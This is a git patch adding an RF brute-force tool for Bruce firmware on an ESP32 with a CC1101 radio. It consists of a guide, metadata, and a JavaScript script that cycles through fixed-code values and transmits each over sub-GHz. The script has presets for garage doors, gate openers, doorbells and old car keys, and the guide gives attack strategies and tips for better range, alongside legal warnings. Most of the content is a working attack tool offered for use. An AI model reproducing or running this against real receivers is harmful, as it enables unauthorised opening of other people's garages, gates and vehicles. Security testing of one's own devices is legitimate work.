From 6d669daf68558e96a0078c1a664ac0fa58ee4f00 Mon Sep 17 00:00:00 2001 From: Jiggyv3 <104223123+Jiggyv3@users.noreply.github.com> Date: Thu, 19 Feb 2026 08:57:54 +1100 Subject: [PATCH 1/2] Add files via upload --- NM_RF_HAT_GUIDE.md | 327 ++++++++++++++++++++++++++++++ logo.png | Bin 0 -> 2494 bytes metadata.json | 13 ++ rf_brute_nmrf.js | 496 +++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 836 insertions(+) create mode 100644 NM_RF_HAT_GUIDE.md create mode 100644 logo.png create mode 100644 metadata.json create mode 100644 rf_brute_nmrf.js diff --git a/NM_RF_HAT_GUIDE.md b/NM_RF_HAT_GUIDE.md new file mode 100644 index 00000000..9b9cb303 --- /dev/null +++ b/NM_RF_HAT_GUIDE.md @@ -0,0 +1,327 @@ +# RF Brute Force Tool - NM-RF HAT Edition + +## Hardware Requirements +- **ESP32 CYD-2432S028** (Cheap Yellow Display) +- **NM-RF HAT** with CC1101 module (433MHz) +- **Bruce Firmware** installed +- **Antenna** connected to NM-RF HAT + +## Hardware Setup + +### NM-RF HAT Connection +The NM-RF HAT connects to the ESP32 via SPI pins: +- **CS (Chip Select)**: GPIO 5 +- **SCK (Clock)**: GPIO 18 +- **MOSI**: GPIO 23 +- **MISO**: GPIO 19 +- **GDO0**: GPIO 2 (optional interrupt) +- **GDO2**: GPIO 4 (optional) +- **3.3V & GND**: Power supply + +### Antenna +- Connect a 433MHz antenna (17.3cm wire works) +- For better range, use a proper 433MHz antenna +- Position antenna away from metal objects + +## Features + +### 🎯 Smart Presets +Pre-configured for common devices: +- **Garage Door (8-bit)**: 256 values, ~51 seconds +- **Garage Door (12-bit)**: 4,096 values, ~10 minutes +- **Gate Opener (16-bit)**: 65,536 values, ~1.8 hours +- **Doorbell (10-bit)**: 1,024 values, ~4 minutes +- **Remote Control (24-bit)**: 16.7M values, ~3.8 days +- **Car Key (20-bit)**: 1M values, ~23 hours + +### 📊 Advanced Features +- **Resume Capability**: Stop and resume attacks +- **Reverse Mode**: Brute force backwards +- **Progress Tracking**: Real-time ETA and statistics +- **Error Handling**: Monitors transmission failures +- **Test Mode**: Test single values before attack + +## Configuration Parameters + +### Prefix (Hex) +The starting value for your attack. Examples: +- `0x445700` - Common garage door prefix +- `0x123400` - Doorbell systems +- `0xA00000` - Generic remote +- `0x100000` - Car key fobs + +**How to find:** Use Bruce's RF receiver to capture a signal, then use part of it as the prefix. + +### Range Bits +Determines how many values to try: +``` +Bits | Values | Time @ 200ms +-----|-----------|------------- +8 | 256 | 51 seconds +10 | 1,024 | 3.4 minutes +12 | 4,096 | 13.6 minutes +14 | 16,384 | 54.6 minutes +16 | 65,536 | 3.6 hours +18 | 262,144 | 14.5 hours +20 | 1,048,576 | 58 hours +24 | 16,777,216| 38.8 days +``` + +### Frequency +Common frequencies: +- **433.92 MHz** (default) - Most garage doors, remotes +- **315.00 MHz** - US car keys, some remotes +- **868.35 MHz** - EU devices +- **915.00 MHz** - US ISM band + +### TE (Timing Element) +Pulse length in microseconds: +- **174 μs** - Most common (default) +- **200 μs** - Some garage systems +- **320 μs** - Longer pulse devices +- **350 μs** - Doorbells +- **400 μs** - Some gate openers + +### Repeat Count +How many times to send each value: +- **5-8**: Fast attack, may miss responses +- **10** (default): Good balance +- **15-20**: Slower but more reliable + +### Delay +Wait time between transmissions: +- **50-100ms**: Very fast (may overload receiver) +- **150-200ms** (recommended): Good balance +- **250-500ms**: Slower but more reliable + +## Usage Guide + +### Quick Start (8-bit Garage Attack) +1. Load the script on your CYD +2. Select "Quick 8-bit Attack" +3. Attack starts immediately with safe defaults +4. Hold any key to stop + +### Custom Configuration +1. Select "Configure & Attack" +2. Choose "Load Preset" or manually configure: + - Set Prefix (if you know part of the code) + - Choose bit range + - Adjust timing parameters +3. Select "START ATTACK" +4. Monitor progress + +### Resume Feature +If you stop an attack: +1. The script saves your position +2. Return to "Configure & Attack" +3. Check "Advanced" → "Start Value" +4. It shows where you stopped +5. Start again to resume from that point + +### Advanced Options +Access via "Advanced" menu: +- **Reverse Direction**: Attack from high to low values +- **Start Value**: Resume from specific position +- **Test Single Value**: Test before full attack + +## Attack Strategies + +### Strategy 1: Known Prefix +If you captured a signal and know part of the code: +``` +Example: Captured 0x445712 +Prefix: 0x445700 (keep first 6 digits) +Bits: 8 (iterate last 2 digits) +Result: Tests 0x445700 to 0x4457FF +``` + +### Strategy 2: Full Range +No prior knowledge: +``` +Prefix: 0x000000 +Bits: 24 +Warning: This takes days! +``` + +### Strategy 3: Smart Guess +Based on device type: +``` +Garage doors often use: +- Prefix: 0x44xxxx or 0x45xxxx +- Start with 8-12 bits +- TE: 174 or 200 +``` + +### Strategy 4: Binary Search +Narrow down the range: +1. Start with 12 bits +2. If no response, try different prefix +3. If you get close, reduce to 8 bits +4. Fine-tune the exact range + +## Security & Legal + +### ⚠️ CRITICAL WARNINGS +- **Only use on YOUR devices** that you own +- **Illegal** to attack devices you don't own +- Some devices **lock out** after failed attempts +- May violate FCC regulations if misused +- Could trigger alarms or security systems + +### Responsible Use +- Test on your own garage door with backup remote +- Warn neighbors before testing (RF interference) +- Don't use in public spaces +- Keep logs of your testing +- Have physical access to the device + +### Legal Considerations +- **USA**: FCC Part 15 governs unlicensed RF +- **EU**: ETSI regulations apply +- **Penalties**: Fines, equipment seizure, prosecution +- **Civil liability**: Damage to devices you don't own + +## Troubleshooting + +### No Transmissions / High Failure Rate +- Check NM-RF HAT connection +- Verify CC1101 module is seated properly +- Ensure antenna is connected +- Check power supply (3.3V) +- Test with "Test Single Value" function + +### Device Not Responding +- Wrong frequency - try 315MHz or 868MHz +- Wrong TE value - common: 174, 200, 320, 350 +- Too fast - increase delay to 300-500ms +- Increase repeat count to 15-20 +- Device may have rolling code (won't work) + +### Attack Too Slow +- Reduce delay (min 50ms) +- Reduce repeat count (min 5) +- Use fewer bits if possible +- Check if device needs fewer repeats + +### NM-RF HAT Not Detected +- Check SPI wiring +- Verify in Bruce menu: RF → SubGHz → Config +- Ensure Bruce firmware supports your HAT +- Try power cycle + +## Performance Tips + +### Optimize Speed +1. Find minimum repeat count that works (test with known code) +2. Reduce delay as much as device allows +3. Use directional antenna for better signal + +### Improve Success Rate +1. Position CYD close to target device (1-3 meters) +2. Remove obstacles between devices +3. Attack during low RF noise (night time) +4. Use higher repeat count (15-20) + +### Battery Life (if portable) +- Reduce LCD brightness +- Increase delay between transmissions +- Use lower repeat count if possible + +## Technical Details + +### CC1101 Module +- **Chip**: Texas Instruments CC1101 +- **Frequency Range**: 300-928 MHz +- **Modulation**: ASK/OOK, FSK, GFSK, MSK +- **Data Rate**: Up to 600 kbps +- **Power**: 3.3V, ~30mA TX, ~15mA RX + +### Transmission Format +``` +subghzTransmit(data, frequency, te, repeat) +- data: Hex string (e.g., "445712") +- frequency: In Hz (e.g., 433920000) +- te: Pulse length in μs (e.g., 174) +- repeat: Number of repetitions (e.g., 10) +``` + +## Examples + +### Example 1: Garage Door (Known Prefix) +``` +Captured signal: 0x44571A +Config: +- Prefix: 0x445700 +- Bits: 8 +- Frequency: 433.92 MHz +- TE: 174 +- Repeat: 10 +- Delay: 200ms + +Result: Tests 256 values in ~51 seconds +``` + +### Example 2: Gate Opener (Unknown) +``` +Config: +- Prefix: 0x440000 +- Bits: 16 +- Frequency: 433.92 MHz +- TE: 200 +- Repeat: 8 +- Delay: 150ms + +Result: Tests 65,536 values in ~2.7 hours +``` + +### Example 3: Car Key Fob +``` +Note: Most modern cars use rolling codes - WON'T WORK! +Old cars (pre-2000): +- Prefix: 0x100000 +- Bits: 20 +- Frequency: 315.00 MHz (US) or 433.92 MHz (EU) +- TE: 174 +- Repeat: 6 +- Delay: 100ms + +Result: Tests 1M values in ~27 hours +``` + +## Statistical Analysis + +### Success Probability +If the device uses a uniformly random code: +- 8-bit: 100% coverage +- 12-bit: 100% coverage (with time) +- 16-bit: 100% coverage (with patience) +- 24-bit+: Impractical (days/weeks) + +### Expected Time to Success +On average, you'll find the code at: +- **50% through** the range +- Example: 12-bit = 2,048 values tried before success + +## Support & Updates + +### Bruce Firmware +- Check for updates: https://github.com/pr3y/Bruce +- SubGHz features may change +- Join Discord for support + +### Script Updates +- This script works with current Bruce JS API +- API may change in future versions +- Test with known codes first + +## Credits & Resources + +- **Bruce Firmware**: pr3y/Bruce +- **CC1101 Module**: Texas Instruments +- **URH**: Universal Radio Hacker (for signal analysis) +- **Flipper Zero**: Inspiration for many features + +--- + +**Remember: With great power comes great responsibility. Use wisely!** diff --git a/logo.png b/logo.png new file mode 100644 index 0000000000000000000000000000000000000000..c6bcee46767b72770f56b9a4cac7e77569f8c616 GIT binary patch literal 2494 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 IM6N<$f_uwZApigX literal 0 HcmV?d00001 diff --git a/metadata.json b/metadata.json new file mode 100644 index 00000000..4f5a8de1 --- /dev/null +++ b/metadata.json @@ -0,0 +1,13 @@ +{ + "name": "RF-BRUTE", + "description": "brute force RF receivers using the C1101 & 433_ask module", + "category": "RF", + "version": "1.0.0", + "commit": "40-character-sha-hash-from-your-repository", + "owner": "Jiggyv3", + "repo": "Orbnet-.js", + "path": "https://github.com/Jiggyv3/Orbnet-.js/RF-BRUTE", + "files": [ + "rf_brute_nmrf.js", "NM-RF_HAT_GUIDE.md", "logo.png", + ] +} \ No newline at end of file diff --git a/rf_brute_nmrf.js b/rf_brute_nmrf.js new file mode 100644 index 00000000..eaae37c1 --- /dev/null +++ b/rf_brute_nmrf.js @@ -0,0 +1,496 @@ +var display = require('display'); +var keyboardApi = require('keyboard'); +var dialog = require('dialog'); +var subghz = require('subghz'); + +// Display functions +var fillScreen = display.fill; +var drawString = display.drawString; + +// Input functions +var getAnyPress = keyboardApi.getAnyPress; +var keyboardPrompt = keyboardApi.keyboard; + +// Dialog functions +var dialogChoice = dialog.choice; +var dialogError = dialog.error; +var dialogMessage = dialog.message; + +// SubGHz transmit (NM-RF HAT / CC1101) +var subghzTransmit = subghz.transmit; + +// Brute force presets for common devices +var presets = { + garage_8bit: { + name: "Garage Door (8-bit)", + prefix: 0x445700, + bits: 8, + frequency: 433920000, + te: 174, + repeat: 10, + delay_ms: 200 + }, + garage_12bit: { + name: "Garage Door (12-bit)", + prefix: 0x445700, + bits: 12, + frequency: 433920000, + te: 174, + repeat: 8, + delay_ms: 150 + }, + gate_16bit: { + name: "Gate Opener (16-bit)", + prefix: 0x440000, + bits: 16, + frequency: 433920000, + te: 200, + repeat: 8, + delay_ms: 100 + }, + doorbell_10bit: { + name: "Doorbell (10-bit)", + prefix: 0x123400, + bits: 10, + frequency: 433920000, + te: 350, + repeat: 15, + delay_ms: 250 + }, + remote_24bit: { + name: "Remote Control (24-bit)", + prefix: 0xA00000, + bits: 24, + frequency: 433920000, + te: 320, + repeat: 5, + delay_ms: 50 + }, + car_key_20bit: { + name: "Car Key (20-bit)", + prefix: 0x100000, + bits: 20, + frequency: 433920000, + te: 174, + repeat: 6, + delay_ms: 80 + } +}; + +// Current brute force configuration +var config = { + prefix: 0x445700, + bits: 8, + frequency: 433920000, + te: 174, + repeat: 10, + delay_ms: 200, + start_value: 0, // For resume functionality + reverse: false // Brute force in reverse +}; + +// Statistics +var stats = { + total_sent: 0, + failed_count: 0, + start_time: 0, + elapsed_time: 0 +}; + +// Calculate total values and estimated time +function calculateStats() { + var total = (1 << config.bits); + var time_sec = Math.floor((total * config.delay_ms) / 1000); + return { + total: total, + time_sec: time_sec, + time_min: Math.floor(time_sec / 60), + time_hour: Math.floor(time_sec / 3600) + }; +} + +// Display time estimate +function formatTime(seconds) { + if (seconds < 60) { + return String(seconds) + "s"; + } else if (seconds < 3600) { + return String(Math.floor(seconds / 60)) + "m " + String(seconds % 60) + "s"; + } else { + var hours = Math.floor(seconds / 3600); + var mins = Math.floor((seconds % 3600) / 60); + return String(hours) + "h " + String(mins) + "m"; + } +} + +// Main brute force attack function +function bruteForceAttack() { + var max_val = config.prefix + (1 << config.bits); + var start_val = config.prefix + config.start_value; + var total = (1 << config.bits); + var count = config.start_value; + + stats.total_sent = 0; + stats.failed_count = 0; + stats.start_time = Date.now(); + + fillScreen(0); + drawString("=== BRUTE FORCE ATTACK ===", 3, 0); + drawString("Target: " + (config.frequency / 1000000).toFixed(2) + " MHz", 3, 16); + drawString("Values: " + total, 3, 32); + drawString("Est. time: " + formatTime(calculateStats().time_sec), 3, 48); + drawString("", 3, 64); + drawString("Starting in 3 seconds...", 3, 80); + drawString("HOLD ANY KEY TO STOP", 3, 96); + delay(3000); + + // Determine iteration direction + var increment = config.reverse ? -1 : 1; + var brute_val = config.reverse ? (max_val - 1) : start_val; + var condition = config.reverse ? + function(v) { return v >= config.prefix; } : + function(v) { return v < max_val; }; + + while (condition(brute_val)) { + fillScreen(0); + var curr_val = brute_val.toString(16).toUpperCase(); + + count++; + stats.total_sent++; + var percent = Math.floor((count / total) * 100); + stats.elapsed_time = Math.floor((Date.now() - stats.start_time) / 1000); + + // Calculate remaining time + var avg_time_per_val = stats.elapsed_time / count; + var remaining_vals = total - count; + var remaining_time = Math.floor(avg_time_per_val * remaining_vals); + + // Display current status + drawString("TRANSMITTING " + count + "/" + total, 3, 0); + drawString("Progress: " + percent + "%", 3, 12); + drawString("", 3, 24); + drawString("Value: 0x" + curr_val, 3, 36); + drawString("Freq: " + (config.frequency / 1000000).toFixed(2) + " MHz", 3, 48); + drawString("TE: " + config.te + " | Rep: " + config.repeat, 3, 60); + drawString("", 3, 72); + drawString("Time: " + formatTime(stats.elapsed_time) + " / " + formatTime(remaining_time), 3, 84); + drawString("Failed: " + stats.failed_count, 3, 96); + drawString("", 3, 108); + drawString("HOLD ANY KEY TO STOP", 3, 120); + + // Check for stop signal + if (getAnyPress()) { + fillScreen(0); + drawString("ATTACK STOPPED", 3, 0); + drawString("", 3, 16); + drawString("Sent: " + stats.total_sent, 3, 32); + drawString("Failed: " + stats.failed_count, 3, 48); + drawString("Time: " + formatTime(stats.elapsed_time), 3, 64); + drawString("", 3, 80); + drawString("Last value: 0x" + curr_val, 3, 96); + drawString("", 3, 112); + drawString("Press any key...", 3, 128); + + // Update start_value for resume + config.start_value = count; + + while (!getAnyPress()) { + delay(100); + } + return false; + } + + // Transmit the current value + var result = subghzTransmit(curr_val, config.frequency, config.te, config.repeat); + + if (!result) { + stats.failed_count++; + + // Show error every 10 failures + if (stats.failed_count % 10 === 0) { + fillScreen(0); + drawString("TRANSMISSION ERRORS!", 3, 0); + drawString("Failed count: " + stats.failed_count, 3, 16); + drawString("Last failed: 0x" + curr_val, 3, 32); + drawString("", 3, 48); + drawString("Check NM-RF HAT connection", 3, 64); + drawString("", 3, 80); + drawString("Continue? Press key...", 3, 96); + delay(2000); + + if (getAnyPress()) { + return false; + } + } + } + + delay(config.delay_ms); + brute_val += increment; + } + + // Attack complete + fillScreen(0); + drawString("=== ATTACK COMPLETE ===", 3, 0); + drawString("", 3, 16); + drawString("Total sent: " + stats.total_sent, 3, 32); + drawString("Failed: " + stats.failed_count, 3, 48); + drawString("Success rate: " + Math.floor(((stats.total_sent - stats.failed_count) / stats.total_sent) * 100) + "%", 3, 64); + drawString("Time elapsed: " + formatTime(stats.elapsed_time), 3, 80); + drawString("", 3, 96); + drawString("Press any key...", 3, 112); + + config.start_value = 0; // Reset for next run + + while (!getAnyPress()) { + delay(100); + } + + return true; +} + +// Load preset configuration +function loadPreset() { + var options = {}; + options["=== PRESETS ==="] = "header"; + + var preset_keys = ["garage_8bit", "garage_12bit", "gate_16bit", "doorbell_10bit", "remote_24bit", "car_key_20bit"]; + + for (var i = 0; i < preset_keys.length; i++) { + var key = preset_keys[i]; + var preset = presets[key]; + options[preset.name] = key; + } + + options["Back"] = "back"; + + var choice = dialogChoice(options); + + if (choice !== "" && choice !== "back") { + var preset = presets[choice]; + config.prefix = preset.prefix; + config.bits = preset.bits; + config.frequency = preset.frequency; + config.te = preset.te; + config.repeat = preset.repeat; + config.delay_ms = preset.delay_ms; + config.start_value = 0; + + dialogMessage("Preset loaded: " + preset.name); + } +} + +// Advanced settings +function advancedSettings() { + while (true) { + var options = {}; + options["=== ADVANCED ==="] = "header"; + options["Reverse Direction: " + (config.reverse ? "ON" : "OFF")] = "reverse"; + options["Start Value: " + config.start_value] = "start_val"; + options["Reset Start Value"] = "reset_start"; + options["Test Single Value"] = "test_single"; + options["Back"] = "back"; + + var choice = dialogChoice(options); + + if (choice === "" || choice === "back") break; + else if (choice === "reverse") { + config.reverse = !config.reverse; + } + else if (choice === "start_val") { + var input = keyboardPrompt(String(config.start_value), 32, "Start value offset"); + if (input) { + var val = parseInt(input); + if (val >= 0 && val < (1 << config.bits)) { + config.start_value = val; + } else { + dialogError("Invalid range"); + } + } + } + else if (choice === "reset_start") { + config.start_value = 0; + dialogMessage("Start value reset"); + } + else if (choice === "test_single") { + var test_hex = keyboardPrompt("", 32, "Test value (hex)"); + if (test_hex && test_hex !== "") { + fillScreen(0); + drawString("Testing: 0x" + test_hex, 3, 0); + drawString("Freq: " + (config.frequency / 1000000).toFixed(2) + " MHz", 3, 16); + drawString("TE: " + config.te, 3, 32); + + var result = subghzTransmit(test_hex, config.frequency, config.te, config.repeat); + + if (result) { + dialogMessage("Test successful!"); + } else { + dialogError("Test failed!"); + } + } + } + } +} + +// Main configuration menu +function configMenu() { + while (true) { + var calc = calculateStats(); + + var options = {}; + options["=== CONFIGURATION ==="] = "header"; + options["Prefix: 0x" + config.prefix.toString(16).toUpperCase()] = "prefix"; + options["Range: " + config.bits + " bits (" + calc.total + " values)"] = "bits"; + options["Frequency: " + (config.frequency / 1000000).toFixed(2) + " MHz"] = "freq"; + options["TE: " + config.te + " μs"] = "te"; + options["Repeat: " + config.repeat] = "repeat"; + options["Delay: " + config.delay_ms + " ms"] = "delay"; + options["---"] = "separator"; + options["Est. Time: " + formatTime(calc.time_sec)] = "time_info"; + options["Load Preset"] = "preset"; + options["Advanced"] = "advanced"; + options["--- START ATTACK ---"] = "start"; + options["Back"] = "back"; + + var choice = dialogChoice(options); + + if (choice === "" || choice === "back") break; + else if (choice === "prefix") { + var input = keyboardPrompt(config.prefix.toString(16), 32, "Prefix (hex)"); + if (input) config.prefix = parseInt(input, 16); + } + else if (choice === "bits") { + var input = keyboardPrompt(String(config.bits), 32, "Bits (1-24)"); + if (input) { + var bits = parseInt(input); + if (bits >= 1 && bits <= 24) { + config.bits = bits; + config.start_value = 0; + } else { + dialogError("Bits must be 1-24"); + } + } + } + else if (choice === "freq") { + var input = keyboardPrompt(String(config.frequency / 1000000), 32, "Freq (MHz)"); + if (input) config.frequency = parseInt(parseFloat(input) * 1000000); + } + else if (choice === "te") { + var input = keyboardPrompt(String(config.te), 32, "TE (μs)"); + if (input) config.te = parseInt(input); + } + else if (choice === "repeat") { + var input = keyboardPrompt(String(config.repeat), 32, "Repeat count"); + if (input) config.repeat = parseInt(input); + } + else if (choice === "delay") { + var input = keyboardPrompt(String(config.delay_ms), 32, "Delay (ms)"); + if (input) config.delay_ms = parseInt(input); + } + else if (choice === "preset") { + loadPreset(); + } + else if (choice === "advanced") { + advancedSettings(); + } + else if (choice === "start") { + // Confirmation screen + fillScreen(0); + drawString("=== READY TO ATTACK ===", 3, 0); + drawString("", 3, 16); + drawString("Prefix: 0x" + config.prefix.toString(16).toUpperCase(), 3, 32); + drawString("Range: " + calc.total + " values", 3, 48); + drawString("Freq: " + (config.frequency / 1000000).toFixed(2) + " MHz", 3, 64); + drawString("Time: ~" + formatTime(calc.time_sec), 3, 80); + drawString("", 3, 96); + drawString("WARNING: Use responsibly!", 3, 112); + drawString("Only on YOUR devices!", 3, 128); + drawString("", 3, 144); + drawString("Press any key to START", 3, 160); + + while (!getAnyPress()) { + delay(100); + } + + bruteForceAttack(); + } + } +} + +// Information screen +function infoScreen() { + fillScreen(0); + drawString("=== NM-RF HAT BRUTE ===", 3, 0); + drawString("", 3, 16); + drawString("Hardware:", 3, 32); + drawString("- CYD-2432S028", 3, 48); + drawString("- NM-RF HAT (CC1101)", 3, 64); + drawString("- Bruce Firmware", 3, 80); + drawString("", 3, 96); + drawString("Features:", 3, 112); + drawString("- Preset configurations", 3, 128); + drawString("- Resume capability", 3, 144); + drawString("- Progress tracking", 3, 160); + drawString("", 3, 176); + drawString("Press any key...", 3, 192); + + while (!getAnyPress()) { + delay(100); + } +} + +// Main menu +function mainMenu() { + infoScreen(); + + while (true) { + var options = {}; + options["=== RF BRUTE FORCE ==="] = "header"; + options["Configure & Attack"] = "config"; + options["Quick 8-bit Attack"] = "quick8"; + options["Quick 12-bit Attack"] = "quick12"; + options["Information"] = "info"; + options["Exit"] = "exit"; + + var choice = dialogChoice(options); + + if (choice === "" || choice === "exit") { + break; + } + else if (choice === "config") { + configMenu(); + } + else if (choice === "quick8") { + // Quick 8-bit attack with defaults + config.prefix = 0x445700; + config.bits = 8; + config.frequency = 433920000; + config.te = 174; + config.repeat = 10; + config.delay_ms = 200; + config.start_value = 0; + + bruteForceAttack(); + } + else if (choice === "quick12") { + // Quick 12-bit attack + config.prefix = 0x445700; + config.bits = 12; + config.frequency = 433920000; + config.te = 174; + config.repeat = 8; + config.delay_ms = 150; + config.start_value = 0; + + bruteForceAttack(); + } + else if (choice === "info") { + infoScreen(); + } + } + + fillScreen(0); + drawString("RF Brute Force closed", 3, 0); + delay(1000); +} + +// Start the application +mainMenu(); From 4ed58c6374142fd01ca023642b71df9128b08899 Mon Sep 17 00:00:00 2001 From: Jiggyv3 <104223123+Jiggyv3@users.noreply.github.com> Date: Thu, 19 Feb 2026 09:08:50 +1100 Subject: [PATCH 2/2] Modify metadata.json with new commit and path Updated commit hash and path in metadata.json. --- metadata.json | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/metadata.json b/metadata.json index 4f5a8de1..35b10385 100644 --- a/metadata.json +++ b/metadata.json @@ -3,11 +3,13 @@ "description": "brute force RF receivers using the C1101 & 433_ask module", "category": "RF", "version": "1.0.0", - "commit": "40-character-sha-hash-from-your-repository", + "commit": "d6fdf1dfc7659b64583f8bdb7b8f30426f6b0fd3", "owner": "Jiggyv3", "repo": "Orbnet-.js", - "path": "https://github.com/Jiggyv3/Orbnet-.js/RF-BRUTE", + "path": "/RF-BRUTE/", "files": [ - "rf_brute_nmrf.js", "NM-RF_HAT_GUIDE.md", "logo.png", + "rf_brute_nmrf.js", + "NM-RF_HAT_GUIDE.md", + "logo.png" ] -} \ No newline at end of file +}